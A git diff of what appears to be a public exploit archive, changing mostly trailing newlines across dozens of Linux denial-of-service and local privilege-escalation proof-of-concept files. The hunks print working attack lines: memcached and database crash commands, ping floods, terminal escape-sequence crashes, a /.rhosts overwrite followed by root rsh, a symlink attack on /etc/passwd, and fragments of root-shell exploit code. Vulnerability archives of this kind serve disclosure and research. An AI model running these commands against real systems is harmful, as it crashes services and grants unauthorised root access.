earlier MySQL 6.0.9 and earlier select updatexml('','0/a',''); -select extractvalue('','0/a'); \ No newline at end of file +select extractvalue('','0/a'); \ No newline at end of file diff --git a/platforms/linux/dos/32849.txt b/platforms/linux/dos/32849.txt index 103476363..df517635c 100755 --- a/platforms/linux/dos/32849.txt +++ b/platforms/linux/dos/32849.txt @@ -10,4 +10,4 @@ CREATE CONVERSION test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM mic_to_ascii; CREATE CONVERSION -test=# set client_encoding to 'LATIN1'; \ No newline at end of file +test=# set client_encoding to 'LATIN1'; \ No newline at end of file diff --git a/platforms/linux/dos/32961.html b/platforms/linux/dos/32961.html index e1d27295c..66cc87ca5 100755 --- a/platforms/linux/dos/32961.html +++ b/platforms/linux/dos/32961.html @@ -4,4 +4,4 @@ Mozilla Firefox is prone to a remote memory-corruption vulnerability. Successful exploits will allow remote attackers to execute arbitrary code within the context of the affected browser or crash the browser, denying service to legitimate users. -<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body> <div id="a" style="white-space: pre;"> m</div> <script> function doe() { document.getElementById('a').childNodes[0].splitText(1); } setTimeout(doe, 100); </script> </body> </html> \ No newline at end of file +<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body> <div id="a" style="white-space: pre;"> m</div> <script> function doe() { document.getElementById('a').childNodes[0].splitText(1); } setTimeout(doe, 100); </script> </body> </html> \ No newline at end of file diff --git a/platforms/linux/dos/33031.html b/platforms/linux/dos/33031.html index 9d8202f62..d3ec6fb46 100755 --- a/platforms/linux/dos/33031.html +++ b/platforms/linux/dos/33031.html @@ -6,4 +6,4 @@ Successful exploits can allow attackers to crash the affected browser, resulting Firefox 3.0.10 is affected; other versions may also be vulnerable. -<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> \ No newline at end of file +<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html> \ No newline at end of file diff --git a/platforms/linux/dos/33036.txt b/platforms/linux/dos/33036.txt index 72803cc96..7c85563e3 100755 --- a/platforms/linux/dos/33036.txt +++ b/platforms/linux/dos/33036.txt @@ -10,4 +10,4 @@ Git 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected. $ perl -e ' $s="git-upload-pack git\0user=me\0host=localhost\0"; printf "%4.4x%s",4+length $s,$s -' | nc $GITHOST 9418 \ No newline at end of file +' | nc $GITHOST 9418 \ No newline at end of file diff --git a/platforms/linux/dos/33040.txt b/platforms/linux/dos/33040.txt index 4c96c90f2..5589b2c36 100755 --- a/platforms/linux/dos/33040.txt +++ b/platforms/linux/dos/33040.txt @@ -8,4 +8,4 @@ Versions prior to GUPnP 0.12.8 are affected. POST /Dimming/Control HTTP/1.1 SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#GetLoadLevelStatus" Host: www.example.com:41615 Content-Type: text/xml Content-Length: 0 -================================== \ No newline at end of file +================================== \ No newline at end of file diff --git a/platforms/linux/dos/33041.txt b/platforms/linux/dos/33041.txt index 04849d3f2..06e304ea2 100755 --- a/platforms/linux/dos/33041.txt +++ b/platforms/linux/dos/33041.txt @@ -8,4 +8,4 @@ Iirssi 0.8.13 is vulnerable; other versions may also be affected. The following example IRC command is available; please see the references for more information. -: WALLOPS \001ACTION \ No newline at end of file +: WALLOPS \001ACTION \ No newline at end of file diff --git a/platforms/linux/dos/33042.txt b/platforms/linux/dos/33042.txt index fc5896cec..8d30e2576 100755 --- a/platforms/linux/dos/33042.txt +++ b/platforms/linux/dos/33042.txt @@ -21,4 +21,4 @@ Start Firefox (which should open two tabs from previous session) Click OK to any authentication windows that pop up. Click to focus on the second tab Click on "Edit document" link -*CRASH* \ No newline at end of file +*CRASH* \ No newline at end of file diff --git a/platforms/linux/dos/33043.txt b/platforms/linux/dos/33043.txt index 00326ad0e..17b6b7075 100755 --- a/platforms/linux/dos/33043.txt +++ b/platforms/linux/dos/33043.txt @@ -6,4 +6,4 @@ This issue affects the Linux kernel 2.6.22-rc1 through 2.6.29 on the sparc64 arc The following example command is available: -cat /proc/iomem \ No newline at end of file +cat /proc/iomem \ No newline at end of file diff --git a/platforms/linux/dos/33230.txt b/platforms/linux/dos/33230.txt index 258f8328d..383bb842b 100755 --- a/platforms/linux/dos/33230.txt +++ b/platforms/linux/dos/33230.txt @@ -9,4 +9,4 @@ GNU glibc 2.10.1 and prior are vulnerable. The following proof-of-concept commands are available: php -r 'money_format("%.1073741821i",1);' -php -r 'money_format("%.1343741821i",1);' \ No newline at end of file +php -r 'money_format("%.1343741821i",1);' \ No newline at end of file diff --git a/platforms/linux/dos/33269.txt b/platforms/linux/dos/33269.txt index 95cc4e4c8..1b28a5f18 100755 --- a/platforms/linux/dos/33269.txt +++ b/platforms/linux/dos/33269.txt @@ -8,4 +8,4 @@ This issue affects Dopewars 1.5.12; other versions may also be affected. The following exploit is available: -ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902 \ No newline at end of file +ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902 \ No newline at end of file diff --git a/platforms/linux/dos/33289.txt b/platforms/linux/dos/33289.txt index ee765c6bf..e8ef35f71 100755 --- a/platforms/linux/dos/33289.txt +++ b/platforms/linux/dos/33289.txt @@ -6,4 +6,4 @@ Versions prior to the Linux kernel 2.6.26.4 are affected. The following example is available: -ping -f -s 3000 <IP> \ No newline at end of file +ping -f -s 3000 <IP> \ No newline at end of file diff --git a/platforms/linux/dos/33312.txt b/platforms/linux/dos/33312.txt index 0a84a49f1..3bd3cd552 100755 --- a/platforms/linux/dos/33312.txt +++ b/platforms/linux/dos/33312.txt @@ -10,4 +10,4 @@ NOTE 2: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/mi <script> var a=0.<?php echo str_repeat("1",296450); ?>; -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/linux/dos/33480.txt b/platforms/linux/dos/33480.txt index c23460175..57d0cbfd2 100755 --- a/platforms/linux/dos/33480.txt +++ b/platforms/linux/dos/33480.txt @@ -6,4 +6,4 @@ Attackers may exploit this issue to execute arbitrary code within the context of MATLAB R2009b is affected; other versions may also be vulnerable. -cxib=0.<?php echo str_repeat("1",296450); ?> \ No newline at end of file +cxib=0.<?php echo str_repeat("1",296450); ?> \ No newline at end of file diff --git a/platforms/linux/dos/33571.txt b/platforms/linux/dos/33571.txt index 6e618f055..56afb516c 100755 --- a/platforms/linux/dos/33571.txt +++ b/platforms/linux/dos/33571.txt @@ -8,4 +8,4 @@ PostgreSQL 8.0.23 is vulnerable; other versions may also be affected. testdb=# select substring(B'101010101010101010101010101010101010 -10101010101',33,-15); \ No newline at end of file +10101010101',33,-15); \ No newline at end of file diff --git a/platforms/linux/dos/33581.txt b/platforms/linux/dos/33581.txt index 609990b12..c061da034 100755 --- a/platforms/linux/dos/33581.txt +++ b/platforms/linux/dos/33581.txt @@ -8,4 +8,4 @@ Hybserv2 1.9.4 is vulnerable; other versions may also be affected. The following example command is available: -PRIVMSG memoserv :help \t \ No newline at end of file +PRIVMSG memoserv :help \t \ No newline at end of file diff --git a/platforms/linux/dos/33592.txt b/platforms/linux/dos/33592.txt index 267b0b193..b2274f5e5 100755 --- a/platforms/linux/dos/33592.txt +++ b/platforms/linux/dos/33592.txt @@ -9,4 +9,4 @@ Successful exploits will deny service to legitimate users. Given the nature of t The following example command is available: -cat /dev/port \ No newline at end of file +cat /dev/port \ No newline at end of file diff --git a/platforms/linux/dos/33672.txt b/platforms/linux/dos/33672.txt index 28f1e7f86..db18af034 100755 --- a/platforms/linux/dos/33672.txt +++ b/platforms/linux/dos/33672.txt @@ -8,4 +8,4 @@ Versions prior to Kojoney 0.0.4.2 are vulnerable. The following example URI is available: -file://localhost/dev/urandom \ No newline at end of file +file://localhost/dev/urandom \ No newline at end of file diff --git a/platforms/linux/dos/33801.txt b/platforms/linux/dos/33801.txt index 99639100f..a9843dee1 100755 --- a/platforms/linux/dos/33801.txt +++ b/platforms/linux/dos/33801.txt @@ -6,4 +6,4 @@ Successful exploits may allow an attacker to execute arbitrary code in the conte NOTE: These issues were previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but have been assigned their own record to better document them. -<html> <head></head> <body style="font-family: monospace; width: 0;"> <div style="-moz-column-count: 4;"><div>a b c d<span style="display: list-item;"></span></div></div> </body> </html> \ No newline at end of file +<html> <head></head> <body style="font-family: monospace; width: 0;"> <div style="-moz-column-count: 4;"><div>a b c d<span style="display: list-item;"></span></div></div> </body> </html> \ No newline at end of file diff --git a/platforms/linux/dos/33850.txt b/platforms/linux/dos/33850.txt index deab3e9a2..4971e8d7a 100755 --- a/platforms/linux/dos/33850.txt +++ b/platforms/linux/dos/33850.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to cause the application to allocate large am memcached versions prior to 1.4.3 are affected. -cat /dev/zero | nc -q1 127.0.0.1 11211 \ No newline at end of file +cat /dev/zero | nc -q1 127.0.0.1 11211 \ No newline at end of file diff --git a/platforms/linux/dos/33886.txt b/platforms/linux/dos/33886.txt index 9128c29eb..659131f34 100755 --- a/platforms/linux/dos/33886.txt +++ b/platforms/linux/dos/33886.txt @@ -8,4 +8,4 @@ kernel 2.6.34-rc5 is vulnerable. The following proof-of-concept is available: -for ((i=0; i<100000; i++)); do keyctl session wibble /bin/true || break; done \ No newline at end of file +for ((i=0; i<100000; i++)); do keyctl session wibble /bin/true || break; done \ No newline at end of file diff --git a/platforms/linux/dos/34348.txt b/platforms/linux/dos/34348.txt index f90929f31..a347e29f9 100755 --- a/platforms/linux/dos/34348.txt +++ b/platforms/linux/dos/34348.txt @@ -7,4 +7,4 @@ Successfully exploiting these issues allows remote attackers to execute arbitrar OpenLDAP 2.4.22 is vulnerable; other versions may also be affected. ldapmodrdn -x cn=something,dc=anything cn=#80 -ldapmodrdn -x dc=something,dc=anything dc= \ No newline at end of file +ldapmodrdn -x dc=something,dc=anything dc= \ No newline at end of file diff --git a/platforms/linux/dos/34356.txt b/platforms/linux/dos/34356.txt index ed3d49042..a7073daa5 100755 --- a/platforms/linux/dos/34356.txt +++ b/platforms/linux/dos/34356.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue may allow remote attackers to execute arbitra gif2png 2.5.2 is vulnerable; other versions may also be affected. -$> ./gif2png $(perl -e 'print "A" x 1053') \ No newline at end of file +$> ./gif2png $(perl -e 'print "A" x 1053') \ No newline at end of file diff --git a/platforms/linux/dos/34375.txt b/platforms/linux/dos/34375.txt index f4fe528a2..31e8e09fa 100755 --- a/platforms/linux/dos/34375.txt +++ b/platforms/linux/dos/34375.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary code within the context sSMTP 2.6.2 is vulnerable; other versions may also be affected. -echo -n . ; for i in {1..2050} ; do echo -n $i ; done \ No newline at end of file +echo -n . ; for i in {1..2050} ; do echo -n $i ; done \ No newline at end of file diff --git a/platforms/linux/dos/34521.txt b/platforms/linux/dos/34521.txt index 72fca3447..2496ee490 100755 --- a/platforms/linux/dos/34521.txt +++ b/platforms/linux/dos/34521.txt @@ -8,4 +8,4 @@ Versions prior to MySQL 5.1.49 are vulnerable. The following example query is available: -mysql> BINLOG '-2079193929'; \ No newline at end of file +mysql> BINLOG '-2079193929'; \ No newline at end of file diff --git a/platforms/linux/dos/34522.txt b/platforms/linux/dos/34522.txt index c0bedb913..9266b9043 100755 --- a/platforms/linux/dos/34522.txt +++ b/platforms/linux/dos/34522.txt @@ -8,4 +8,4 @@ Versions prior to MySQL 5.1.49 are vulnerable. NOTE: This issue was previously disclosed in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record. -thd->query at 0x14bcdf0 = CREATE TEMPORARY TABLE operations ( op VARCHAR(16) ) ENGINE =InnoDB \ No newline at end of file +thd->query at 0x14bcdf0 = CREATE TEMPORARY TABLE operations ( op VARCHAR(16) ) ENGINE =InnoDB \ No newline at end of file diff --git a/platforms/linux/dos/35445.txt b/platforms/linux/dos/35445.txt index f8fc8ebea..8fe900380 100755 --- a/platforms/linux/dos/35445.txt +++ b/platforms/linux/dos/35445.txt @@ -4,4 +4,4 @@ OpenLDAP is prone to a remote denial-of-service vulnerability that affects the ' Attackers can exploit this issue to deny service to legitimate users by crashing affected 'slapd' servers. -ldapmodrdn -x -H ldap://ldapserver -r '' o=test \ No newline at end of file +ldapmodrdn -x -H ldap://ldapserver -r '' o=test \ No newline at end of file diff --git a/platforms/linux/dos/35478.txt b/platforms/linux/dos/35478.txt index c7dea8058..c24369988 100755 --- a/platforms/linux/dos/35478.txt +++ b/platforms/linux/dos/35478.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to consume all CPU resources, denying service MHonArc versions 2.6.16 and prior are vulnerable. -<bo<bo<bo<bo<body>dy>dy>dy>dy> \ No newline at end of file +<bo<bo<bo<bo<body>dy>dy>dy>dy> \ No newline at end of file diff --git a/platforms/linux/dos/36425.txt b/platforms/linux/dos/36425.txt index 12248090f..814064476 100755 --- a/platforms/linux/dos/36425.txt +++ b/platforms/linux/dos/36425.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to cause an out-of-memory error in certain li Linux kernel versions 2.6.35 and earlier are affected. -$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done \ No newline at end of file +$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done \ No newline at end of file diff --git a/platforms/linux/dos/36545.txt b/platforms/linux/dos/36545.txt index 41ba2fbcb..f634f6de7 100755 --- a/platforms/linux/dos/36545.txt +++ b/platforms/linux/dos/36545.txt @@ -9,4 +9,4 @@ NOTE: This issue affects Linux kernels running as guest images. [bits 32] global _start SECTION .text -_start: syscall \ No newline at end of file +_start: syscall \ No newline at end of file diff --git a/platforms/linux/dos/37306.txt b/platforms/linux/dos/37306.txt index 97d73c3db..3f5ec76fb 100755 --- a/platforms/linux/dos/37306.txt +++ b/platforms/linux/dos/37306.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to cause the affected application to crash or echo -en "\e[2147483647L" echo -en "\e[2147483647M" echo -en "\e[2147483647@" -echo -en "\e[2147483647P" \ No newline at end of file +echo -en "\e[2147483647P" \ No newline at end of file diff --git a/platforms/linux/dos/37477.txt b/platforms/linux/dos/37477.txt index b6d8e804a..d643c088a 100755 --- a/platforms/linux/dos/37477.txt +++ b/platforms/linux/dos/37477.txt @@ -4,4 +4,4 @@ VTE is prone to a vulnerability that may allow attackers to cause an affected ap echo -en "\e[2147483647L" echo -en "\e[2147483647M" -echo -en "\e[2147483647P" \ No newline at end of file +echo -en "\e[2147483647P" \ No newline at end of file diff --git a/platforms/linux/dos/38392.txt b/platforms/linux/dos/38392.txt index 9c8564064..5f03f0adc 100755 --- a/platforms/linux/dos/38392.txt +++ b/platforms/linux/dos/38392.txt @@ -4,4 +4,4 @@ MySQL and MariaDB are prone to a denial-of-service vulnerability. An attacker can exploit this issue to crash the database, denying access to legitimate users. -"select astext(0x0100000000030000000100000000000010);" \ No newline at end of file +"select astext(0x0100000000030000000100000000000010);" \ No newline at end of file diff --git a/platforms/linux/dos/38421.txt b/platforms/linux/dos/38421.txt index 61e3588d0..2aeacdd13 100755 --- a/platforms/linux/dos/38421.txt +++ b/platforms/linux/dos/38421.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to crash the application, resulting in denial-o Apache Subversion versions 1.6.0 through 1.6.20 and 1.7.0 through 1.7.8 are vulnerable. -curl -X LOCK --data-binary @lock_body 'http://www.example.com/repo/foo' \ No newline at end of file +curl -X LOCK --data-binary @lock_body 'http://www.example.com/repo/foo' \ No newline at end of file diff --git a/platforms/linux/dos/38422.txt b/platforms/linux/dos/38422.txt index 05bb8104e..e7a6fb1e1 100755 --- a/platforms/linux/dos/38422.txt +++ b/platforms/linux/dos/38422.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to crash the application, resulting in denial-o Apache Subversion versions 1.7.0 through 1.7.8 are vulnerable. -curl -X REPORT --data-binary @log_report 'http://www.example.com/repo/!svn/bc/1/' \ No newline at end of file +curl -X REPORT --data-binary @log_report 'http://www.example.com/repo/!svn/bc/1/' \ No newline at end of file diff --git a/platforms/linux/dos/38465.txt b/platforms/linux/dos/38465.txt index 557895ea4..0fd762775 100755 --- a/platforms/linux/dos/38465.txt +++ b/platforms/linux/dos/38465.txt @@ -5,4 +5,4 @@ The Linux kernel is prone to multiple local denial-of-service vulnerabilities. Attackers can exploit these issues to trigger a kernel crash, which may result in a denial-of-service condition. cd /sys/kernel/debug/tracing -echo 1234 | sudo tee -a set_ftrace_pid \ No newline at end of file +echo 1234 | sudo tee -a set_ftrace_pid \ No newline at end of file diff --git a/platforms/linux/dos/38622.txt b/platforms/linux/dos/38622.txt index 1e0c3c55b..4b5d24294 100755 --- a/platforms/linux/dos/38622.txt +++ b/platforms/linux/dos/38622.txt @@ -4,4 +4,4 @@ libvirt is prone to a denial-of-service vulnerability. Attackers can exploit this issue to crash the application that uses the affected library, denying service to legitimate users. -# virsh -c qemu:///system --readonly iface-list --inactive \ No newline at end of file +# virsh -c qemu:///system --readonly iface-list --inactive \ No newline at end of file diff --git a/platforms/linux/dos/38909.txt b/platforms/linux/dos/38909.txt index 9994dda54..25ab4756a 100755 --- a/platforms/linux/dos/38909.txt +++ b/platforms/linux/dos/38909.txt @@ -4,4 +4,4 @@ DenyHosts is prone to a remote denial-of-service vulnerability. Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. -ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21 \ No newline at end of file +ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21 \ No newline at end of file diff --git a/platforms/linux/dos/39541.txt b/platforms/linux/dos/39541.txt index f5317ac3a..07b0ff1fa 100755 --- a/platforms/linux/dos/39541.txt +++ b/platforms/linux/dos/39541.txt @@ -638,4 +638,4 @@ Arduino Leonardo Firmware: :101824000A005B48455844554D505D0A0D0025306B :041834003258200006 :00000001FF --- \ No newline at end of file +-- \ No newline at end of file diff --git a/platforms/linux/dos/39542.txt b/platforms/linux/dos/39542.txt index 18c41b0c2..852522757 100755 --- a/platforms/linux/dos/39542.txt +++ b/platforms/linux/dos/39542.txt @@ -643,4 +643,4 @@ Arduino Leonardo Firmware: :101824000A005B48455844554D505D0A0D0025306B :041834003258200006 :00000001FF --- \ No newline at end of file +-- \ No newline at end of file diff --git a/platforms/linux/dos/39556.txt b/platforms/linux/dos/39556.txt index b773d629d..d0bdd6c92 100755 --- a/platforms/linux/dos/39556.txt +++ b/platforms/linux/dos/39556.txt @@ -637,4 +637,4 @@ Arduino Leonardo Firmware: :101820000A005B48455844554D505D0A0D0025306F :04183000325820000A :00000001FF --- \ No newline at end of file +-- \ No newline at end of file diff --git a/platforms/linux/dos/4216.pl b/platforms/linux/dos/4216.pl index 92c316aed..b1a1b0330 100755 --- a/platforms/linux/dos/4216.pl +++ b/platforms/linux/dos/4216.pl @@ -17,7 +17,7 @@ # 18FDC978 610DE824 (41414141, 004020E4, 0040202E, 00000000) # 18FDCD58 004015D4 (41414141, 41414141, 41414141, 41414141) # -# Usage: perl xserver-dos-poc.pl server +# Usage: perl xserver-dos-poc.pl www.target.com use LWP::UserAgent; diff --git a/platforms/linux/local/144.c b/platforms/linux/local/144.c index 9f7e91782..64f4985a3 100755 --- a/platforms/linux/local/144.c +++ b/platforms/linux/local/144.c @@ -1,4 +1,4 @@ -#include <stdio.h> + #include <stdio.h> #include <unistd.h> #include <string.h> diff --git a/platforms/linux/local/18733.py b/platforms/linux/local/18733.py index ef29a7301..0cb67b22f 100755 --- a/platforms/linux/local/18733.py +++ b/platforms/linux/local/18733.py @@ -1,4 +1,4 @@ -#!/usr/bin/python + #!/usr/bin/python #wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student #For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html import sys diff --git a/platforms/linux/local/19077.c b/platforms/linux/local/19077.c index 5cf062a98..016f7c83b 100755 --- a/platforms/linux/local/19077.c +++ b/platforms/linux/local/19077.c @@ -190,4 +190,4 @@ echo offset=$x x=$[x+50] ./dipr $x done -rm -f core \ No newline at end of file +rm -f core \ No newline at end of file diff --git a/platforms/linux/local/19146.sh b/platforms/linux/local/19146.sh index 36cbe9a6c..5ca912708 100755 --- a/platforms/linux/local/19146.sh +++ b/platforms/linux/local/19146.sh @@ -45,4 +45,4 @@ if [ -f ${SUSHI} ] ; then echo root shell created as ${SUSHI} ls -l ${SUSHI} echo -fi \ No newline at end of file +fi \ No newline at end of file diff --git a/platforms/linux/local/19249.c b/platforms/linux/local/19249.c index 099526792..9d98dc517 100755 --- a/platforms/linux/local/19249.c +++ b/platforms/linux/local/19249.c @@ -53,4 +53,4 @@ fprintf(stderr, "sample exploit by XSFX@iname.com\n" "DEBUG: %d NOPs\n" "DEBUG: fwrite(&esp,4,1,stdout); putc('\n',stdout); -printf("Message-Id: <199812021827.TAA23112@003.dyn.ml.org>\n"); printf("To: \"dear user\" <you@domain.com>\n"); printf("\n"); printf("hello ! please reply, i'm not sure my email box is ok :(\n"); printf("\n"); } \ No newline at end of file +printf("Message-Id: <199812021827.TAA23112@003.dyn.ml.org>\n"); printf("To: \"dear user\" <you@domain.com>\n"); printf("\n"); printf("hello ! please reply, i'm not sure my email box is ok :(\n"); printf("\n"); } \ No newline at end of file diff --git a/platforms/linux/local/19254.c b/platforms/linux/local/19254.c index 17036693a..aa381e87b 100755 --- a/platforms/linux/local/19254.c +++ b/platforms/linux/local/19254.c @@ -212,4 +212,4 @@ if (task[i]) testtask ((unsigned int)(task[i])); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19259.c b/platforms/linux/local/19259.c index a0163e164..126dcccf6 100755 --- a/platforms/linux/local/19259.c +++ b/platforms/linux/local/19259.c @@ -123,4 +123,4 @@ putenv(buff); system("`which lpc` attach lp $RET; `which lpc` status lp"); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19270.c b/platforms/linux/local/19270.c index 9bad13f98..a98a95835 100755 --- a/platforms/linux/local/19270.c +++ b/platforms/linux/local/19270.c @@ -123,4 +123,4 @@ printf ( "Look for a suid shell root owned at /tmp/sh\n"); execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19279.sh b/platforms/linux/local/19279.sh index d169d8505..4137d2aa0 100755 --- a/platforms/linux/local/19279.sh +++ b/platforms/linux/local/19279.sh @@ -72,4 +72,4 @@ else echo ---------------- This machine does not appear to be vulnerable. -fi \ No newline at end of file +fi \ No newline at end of file diff --git a/platforms/linux/local/19281.c b/platforms/linux/local/19281.c index 1cfa84300..eb519fea5 100755 --- a/platforms/linux/local/19281.c +++ b/platforms/linux/local/19281.c @@ -105,4 +105,4 @@ setenv("HOME", buff, 1); system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */ -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19314.c b/platforms/linux/local/19314.c index 4796e35f3..803154dca 100755 --- a/platforms/linux/local/19314.c +++ b/platforms/linux/local/19314.c @@ -24,4 +24,4 @@ return 0; } Klogd Exploit Using Envcheck by Esa Etelavuori <eetelavu@cc.hut.fi> -Release Date: 20000925 \ No newline at end of file +Release Date: 20000925 \ No newline at end of file diff --git a/platforms/linux/local/19370.c b/platforms/linux/local/19370.c index ccb849e4d..d1403e6c7 100755 --- a/platforms/linux/local/19370.c +++ b/platforms/linux/local/19370.c @@ -80,4 +80,4 @@ execl ( "/usr/X11R6/bin/Xaccel", "Xaccel", buf, (char *)0); // system ( "/bin/sh"); } ------ EOF ---------- \ No newline at end of file +----- EOF ---------- \ No newline at end of file diff --git a/platforms/linux/local/19422.txt b/platforms/linux/local/19422.txt index aeb60e5e5..4d40c3384 100755 --- a/platforms/linux/local/19422.txt +++ b/platforms/linux/local/19422.txt @@ -23,4 +23,4 @@ maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts note: If the file exists, it keeps the same perms and overwrites it with "i^A" then the result of gethostname() and some whitespace. this problem is not platform dependent and was tested based on out of box -install on an HP. \ No newline at end of file +install on an HP. \ No newline at end of file diff --git a/platforms/linux/local/19467.c b/platforms/linux/local/19467.c index 0dbce1b7b..77e904664 100755 --- a/platforms/linux/local/19467.c +++ b/platforms/linux/local/19467.c @@ -23,4 +23,4 @@ exit(1); sleep(1); for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19517.pl b/platforms/linux/local/19517.pl index f71a6cd78..af7f9c96d 100755 --- a/platforms/linux/local/19517.pl +++ b/platforms/linux/local/19517.pl @@ -1,4 +1,4 @@ -# Exploit Title: Emesene Password Disclosure + # Exploit Title: Emesene Password Disclosure # Category: Local # Date: 29/06/2012 # Author: Daniel Godoy diff --git a/platforms/linux/local/19602.c b/platforms/linux/local/19602.c index e7dfba891..49b860d6d 100755 --- a/platforms/linux/local/19602.c +++ b/platforms/linux/local/19602.c @@ -64,4 +64,4 @@ victim$ killall -HUP sendmail victim$telnet localhost 25 220 Takeover ESMTP mail service - road closed. -victim$ \ No newline at end of file +victim$ \ No newline at end of file diff --git a/platforms/linux/local/19723.txt b/platforms/linux/local/19723.txt index 9a0ab82d1..db937d122 100755 --- a/platforms/linux/local/19723.txt +++ b/platforms/linux/local/19723.txt @@ -31,4 +31,4 @@ CorelLinux:~# exit exit /usr/X11R6/share/apps/get_it/html/smallbanner.html /tmp/Get_It.1.a05872 CorelLinux:~# id -uid=0(root) gid=1001(tascon) groups=1001(tascon) \ No newline at end of file +uid=0(root) gid=1001(tascon) groups=1001(tascon) \ No newline at end of file diff --git a/platforms/linux/local/19727.c b/platforms/linux/local/19727.c index 99a0ce9ca..f37d84491 100755 --- a/platforms/linux/local/19727.c +++ b/platforms/linux/local/19727.c @@ -13,7 +13,7 @@ Certain versions of this software are vulnerable to a remote buffer overflow att has big problems ;) gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86] - ( ./vpop [offset] [alignment] ; cat ) | nc server 110 + ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110 play with the alignment to get it to A) crash B) work. qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now. diff --git a/platforms/linux/local/19735.txt b/platforms/linux/local/19735.txt index 3ba31a2c3..ff2f0d2ff 100755 --- a/platforms/linux/local/19735.txt +++ b/platforms/linux/local/19735.txt @@ -8,4 +8,4 @@ apcd is used to monitor information from APC uninterruptable power supplies. The ln -sf /tmp/upsstat /.rhosts (wait for SIGUSR1 to be sent) echo + + >> /.rhosts -rsh localhost -l root \ No newline at end of file +rsh localhost -l root \ No newline at end of file diff --git a/platforms/linux/local/19762.c b/platforms/linux/local/19762.c index d9f6c2bf0..62ac73c63 100755 --- a/platforms/linux/local/19762.c +++ b/platforms/linux/local/19762.c @@ -135,4 +135,4 @@ int main(int ac, char **av){ fclose(outlist); return(1); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19816.txt b/platforms/linux/local/19816.txt index a645b965a..a2ddae7ee 100755 --- a/platforms/linux/local/19816.txt +++ b/platforms/linux/local/19816.txt @@ -12,4 +12,4 @@ name "create a setgid shell" } click control-left mouse button, and click "setgid shell" -execute /tmp/sh \ No newline at end of file +execute /tmp/sh \ No newline at end of file diff --git a/platforms/linux/local/19925.c b/platforms/linux/local/19925.c index 2d5b82323..2911d27d7 100755 --- a/platforms/linux/local/19925.c +++ b/platforms/linux/local/19925.c @@ -50,4 +50,4 @@ int main(int argc, char *argv[]) b[RET_OFFSET+4]=0; execlp("ksu","ksu","-n",b,NULL); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/19946.txt b/platforms/linux/local/19946.txt index ab5383b95..3f2630d2c 100755 --- a/platforms/linux/local/19946.txt +++ b/platforms/linux/local/19946.txt @@ -7,4 +7,4 @@ This vulnerability will also affect any Unix system with OpenLDAP assuming the f 2) /usr/tmp is a world writable directory. 3) slurpd was built with the DEFAULT_SLURPD_REPLICA_DIR set to /usr/tmp -ln -sf /etc/passwd /usr/tmp/NEXTID \ No newline at end of file +ln -sf /etc/passwd /usr/tmp/NEXTID \ No newline at end of file diff --git a/platforms/linux/local/20021.txt b/platforms/linux/local/20021.txt index 3b915ae2c..7c51baacd 100755 --- a/platforms/linux/local/20021.txt +++ b/platforms/linux/local/20021.txt @@ -13,4 +13,4 @@ Password changes submitted to Red Hat Piranha via HTTP are insecurely passed as 127.0.0.1 - piranha [19/May/2000:20:58:50 +0200] "GET /piranha/secure/passwd.php3?try1=arkth&try2=arkth&passwd=ACCEPT HTTP/1.0" 200 3120 -... \ No newline at end of file +... \ No newline at end of file diff --git a/platforms/linux/local/2031.c b/platforms/linux/local/2031.c index dbaf9f171..3b5f4d13a 100755 --- a/platforms/linux/local/2031.c +++ b/platforms/linux/local/2031.c @@ -1,4 +1,4 @@ -/* + /* * $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 